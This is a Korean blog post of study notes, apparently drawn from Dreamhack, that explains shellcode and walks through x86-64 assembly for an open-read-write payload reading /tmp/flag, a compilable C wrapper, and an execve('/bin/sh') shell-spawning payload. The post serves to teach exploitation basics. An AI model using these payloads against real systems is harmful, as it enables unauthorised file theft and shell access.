songining
Published 2022. 3. 30. 01:54
Shellcode ๋ž€? Hacking/System Hacking

์…ธ์ฝ”๋“œ๋ž€? -> ์ต์Šคํ”Œ๋กœ์ž‡์„ ์œ„ํ•ด ์ œ์ž‘๋œ ์–ด์…ˆ๋ธ”๋ฆฌ ์ฝ”๋“œ ์กฐ๊ฐ 

์ผ๋ฐ˜์ ์œผ๋กœ ์…ธ์„ ํš๋“ํ•˜๋Š” ๊ฒƒ์ด ๋ชฉ์ !

์–ด์…ˆ๋ธ”๋ฆฌ์–ด๋กœ ์ด๋ฃจ์–ด์ ธ์žˆ์Œ 

Ex) ํ•ด์ปค๊ฐ€ rip๋ฅผ ์ž์‹ ์ด ์ž‘์„ฑํ•œ ์…ธ์ฝ”๋“œ๋กœ ์˜ฎ๊ธฐ๋ฉด ํ•ด์ปค๊ฐ€ ์›ํ•˜๋Š” ์–ด์…ˆ๋ธ”๋ฆฌ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Œ 

 

orw ์…ธ์ฝ”๋“œ ์ž‘์„ฑ 

- ํŒŒ์ผ์„ ์—ด๊ณ  ์ฝ์€ ๋’ค ํ™”๋ฉด์— ์ถœ๋ ฅํ•ด์ฃผ๋Š” ์…ธ์ฝ”๋“œ! 

/**
* /tmp/flag๋ฅผ ์ฝ๋Š” ์…ธ์ฝ”๋“œ
*/

char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30); // ํŒŒ์ผ ์ฝ๊ณ  buf์— ์ €์žฅ
write(1, buf, 0x30); // buf ์— ์žˆ๋Š” ๊ฐ’ write

์œ„๋Š” ์šฐ๋ฆฌ๊ฐ€ ๋งŒ๋“ค ์…ธ ์ฝ”๋“œ์˜ c์–ธ์–ด ์˜์‚ฌ์ฝ”๋“œ

 

1. int fd = open(“/tmp/flag”, O_RDONLY, NULL)

open ( ๋Œ€์ƒ ํŒŒ์ผ์ด๋ฆ„, ์—ด๊ธฐ ์˜ต์…˜ (RDONLY, WRONLY..), ํŒŒ์ผ์ ‘๊ทผ๊ถŒํ•œ) 

 

์šฐ๋ฆฌ๊ฐ€ ํ•ด๋ณด๋Š” ๊ฒƒ์€ ํ”„๋กœ์„ธ์Šค์— /tmp/flag ํŒŒ์ผ์ฝ๊ณ  ์“ฐ๊ฒŒ ํ•˜๋Š” ๊ฒƒ! ์ฆ‰,

  1. "/tmp/flag" ๋ผ๋Š” ๋ฌธ์ž์—ด์„ ๋ฉ”๋ชจ๋ฆฌ์— ์œ„์น˜์‹œ์ผœ์•ผ ํ•จ (์Šคํƒ์— "/tmp/flag"๋ฅผ 16์ง„์ˆ˜ ๋ฆฌํ‹€์—”๋””์•ˆ์œผ๋กœ ๋ณ€ํ™˜ ํ›„ push!!)  

  2. rdi(ํ•จ์ˆ˜์˜ ์ฒซ๋ฒˆ์งธ ์ธ์ž)๊ฐ€ ์ด๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋„๋ก rsp๋ฅผ rdi๋กœ ์˜ฎ๊ธด๋‹ค.

  3. RDONLY๋Š” 0์ด๋ฏ€๋กœ rsi(๋‘๋ฒˆ์งธ ์ธ์ž)๋Š” 0์œผ๋กœ ์„ค์ •ํ•œ๋‹ค. 

  4. ํŒŒ์ผ ์ฝ์„ ๋•Œ ์„ธ๋ฒˆ์งธ ์ธ์ž๋Š” ์˜๋ฏธ ์—†์œผ๋ฏ€๋กœ rdx(์„ธ๋ฒˆ์งธ ์ธ์ž)๋Š” 0์œผ๋กœ ์„ค์ •

  5. ๋งˆ์ง€๋ง‰์œผ๋กœ!! rax๋ฅผ open์˜ syscall ๊ฐ’์ธ 2๋กœ ์„ค์ • 

 

<๊ตฌํ˜„> 

push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

 

2. read(fd, buf, 0x30)

read (ํŒŒ์ผ ๋””์Šคํฌ๋ฆฝํ„ฐ(ํŒŒ์ผ ์ ‘๊ทผ์ œ์–ด์ž), ์ฝ์–ด๋“ค์ผ ๋ฒ„ํผ, ๋ฒ„ํผ์˜ ํฌ๊ธฐ)

 

syscall์˜ ๋ฐ˜ํ™˜๊ฐ’์€ rax์— ์ €์žฅ๋จ! ๋”ฐ๋ผ์„œ open์œผ๋กœ ์–ป์€ fd๋Š” rax์— ์ €์žฅ๋œ๋‹ค. 

1. read์˜ ์ฒซ๋ฒˆ์งธ์ธ์ž๋กœ fd๋ฅผ ๋ฐ›์•„์•ผ ํ•˜๋ฏ€๋กœ rax๊ฐ’์„ rdi์— ๋„ฃ๋Š”๋‹ค. 

2. rsi๋Š” ํŒŒ์ผ์—์„œ ์ฝ์€ ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•  ์ฃผ์†Œ๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์–ด์•ผ ํ•˜๋ฉฐ ์šฐ๋ฆฌ๊ฐ€ ์ฝ์„ ๋ฐ์ดํ„ฐ์˜ ํฌ๊ธฐ๋Š” 0x30์ด๋ฏ€๋กœ rsp-0x30์„ rsi์— ๋Œ€์ž…ํ•œ๋‹ค. 

3. rdx๋Š” 0x30 ์œผ๋กœ ์„ค์ • 

4. read๋ฅผ ์œ„ํ•œ syscall ์€ 0์ด๋ฏ€๋กœ rax๋Š” 0 

mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

3. write(1, buf, 0x30)

 

1. ์ถœ๋ ฅ์€ stdout์œผ๋กœ ํ• ๊ฒƒ์ด๋ฏ€๋กœ rdi๋Š” 0x1 ( 0 : ํ‘œ์ค€์ž…๋ ฅ STDIN, 1: ํ‘œ์ค€์ถœ๋ ฅ STDOUT, 2: ํ‘œ์ค€์—๋Ÿฌ STDERR ) 

2. rsi, rdx ๊ฐ’์€ ์œ„์—์„œ ์‚ฌ์šฉํ•œ ๊ฒƒ๊ณผ ๊ฐ™๋‹ค. 

3. write๋ฅผ ์œ„ํ•œ syscall์€ 1 ์ด๋ฏ€๋กœ rax๋Š” 1 

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

 

์ฆ‰ ์ตœ์ข…์ ์œผ๋กœ ์…ธ์ฝ”๋“œ๋Š” 

;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)
mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

์ด์™€ ๊ฐ™๋‹ค. 

ํ•ด๋‹น ์–ด์…ˆ๋ธ”๋ฆฌ์–ดํŒŒ์ผ์„ ์ปดํŒŒ์ผ ํ•˜๊ธฐ์œ„ํ•ด์„œ๋Š” c ํŒŒ์ผ ํ˜•์‹์˜ ์Šค์ผˆ๋ ˆํ†ค ์ฝ”๋“œ๋กœ ๋ณ€ํ™˜ํ•ด์•ผํ•œ๋‹ค. 

// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "push 0x67\n"
    "mov rax, 0x616c662f706d742f \n"
    "push rax\n"
    "mov rdi, rsp    # rdi = '/tmp/flag'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"
    "\n"
    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"
    "\n"
    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"
    "\n"
    "xor rdi, rdi      # rdi = 0\n"
    "mov rax, 0x3c	   # rax = sys_exit\n"
    "syscall		   # exit(0)");
void run_sh();
int main() { run_sh(); }

gcc๋กœ ํ•ด๋‹น c ํŒŒ์ผ์„ ์ปดํŒŒ์ผํ•˜๊ณ  ์‹คํ–‰ํ•˜๋ฉด ์šฐ๋ฆฌ์˜ ์…ธ์ฝ”๋“œ๊ฐ€ ์ž˜ ๋œจ๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค. 

๊ณต๊ฒฉํ•˜๊ณ ์ž ํ•˜๋Š” ๋Œ€์ƒ์˜ ์‹œ์Šคํ…œ์—์„œ ํ•ด๋‹น ์…ธ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ์ƒ๋Œ€ ์„œ๋ฒ„์˜ ์ž๋ฃŒ๋ฅผ ์œ ์ถœํ•ด๋‚ผ ์ˆ˜ ์žˆ๋‹ค.

 

๊ฐ ํ•จ์ˆ˜๋งˆ๋‹ค ์Šคํƒ ํ”„๋ ˆ์ž„ ์ƒ์„ฑ -> ํ•จ์ˆ˜ ๋๋‚˜๋ฉด ์Šคํƒ ํ”„๋ ˆ์ž„ ํ•ด์ œ ( but, garbage๊ฐ’์ด ๋‚จ์•„์žˆ์„ ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ์ ์ ˆํ•œ ์ดˆ๊ธฐํ™”๊ฐ€ ํ•„์š”!)

 

exeve ์…ธ์ฝ”๋“œ

- ์ž„์˜์˜ ํ”„๋กœ๊ทธ๋žจ์„ ์‹คํ–‰ํ•˜๋Š” ์…ธ์ฝ”๋“œ 

- ์ด๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์„œ๋ฒ„์˜ ์…ธ์„ ํš๋“ํ•  ์ˆ˜ ์žˆ์Œ!

- ์…ธ์ฝ”๋“œ๋Š” ๊ฑฐ์˜ exeve๋ฅผ ์˜๋ฏธ

 

/bin/sh ์„ ์‹คํ–‰ํ•˜๋Š” ์…ธ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•ด๋ณด์ž!

 

execve(“/bin/sh”, null, null)

์ธ์ž๋Š” (filename, ์‹คํ–‰ํŒŒ์ผ์— ๋„˜๊ฒจ์ค„ ์ธ์ž, ํ™˜๊ฒฝ๋ณ€์ˆ˜)

์šฐ๋ฆฌ๋Š” sh ๋งŒ ์‹คํ–‰ํ•˜๋ฉด ๋˜๋ฏ€๋กœ 2,3๋ฒˆ์งธ ์ธ์ž๋Š” ๋ชจ๋‘ null๋กœ ์„ค์ •ํ•ด์ค˜๋„ ๋œ๋‹ค.

 

1. "/bin/sh" 16์ง„์ˆ˜ ๋ฆฌํ‹€์—”๋””์•ˆ์œผ๋กœ ๋ณ€ํ™˜ ํ›„ ์Šคํƒ์— push

2. rsp์— ๋“ค์–ด์žˆ๋Š” ๊ฐ’์„ rdi ์— ๋Œ€์ž… (์ฒซ๋ฒˆ์งธ ์ธ์ž)

3. rsi, rdx๋Š” null์ด๋ฏ€๋กœ ์ „๋ถ€ 0 

3. sys_execve๋ฅผ ํ˜ธ์ถœํ•˜๋Š” syscall์€ 0x3b ์ด๋ฏ€๋กœ rax์— ํ•ด๋‹น ๊ฐ’ ๋Œ€์ž… 

;Name: execve.S
mov rax, 0x68732f6e69622f
push rax ; ์Šคํƒ์— ํŒŒ์ผ ๊ฒฝ๋กœ 16์ง„์ˆ˜๋กœ push 
mov rdi, rsp  ; rdi = "/bin/sh\x00" 
xor rsi, rsi  ; rsi = NULL
xor rdx, rdx  ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall       ; execve("/bin/sh", null, null)

 

[์ถœ์ฒ˜]

dreamhack